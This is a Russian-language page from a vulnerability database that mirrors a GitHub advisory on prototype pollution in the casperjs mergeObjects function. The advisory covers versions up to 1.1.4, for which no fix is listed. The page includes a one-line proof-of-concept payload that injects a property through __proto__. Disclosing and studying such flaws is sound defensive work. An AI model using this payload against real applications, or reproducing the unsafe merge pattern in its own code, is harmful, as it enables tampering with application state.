Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-vrr3-5r3v-7xfw

Опубликовано: 17 мая 2021
Источник: github
Github: Прошло ревью
CVSS3: 7.3

Описание

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}'); mergeObjects({}, payload); console.log({}.a); // prints "pwned"

Пакеты

Наименование

casperjs

npm
Затронутые версииВерсия исправления

<= 1.1.4

Отсутствует

EPSS

Процентиль: 73%
0.00774
Низкий

7.3 High

CVSS3

Дефекты

CWE-1321
CWE-915

Связанные уязвимости

CVSS3: 7.3
nvd
больше 5 лет назад

In all versions of package casperjs, the mergeObjects utility function is susceptible to Prototype Pollution.

EPSS

Процентиль: 73%
0.00774
Низкий

7.3 High

CVSS3

Дефекты

CWE-1321
CWE-915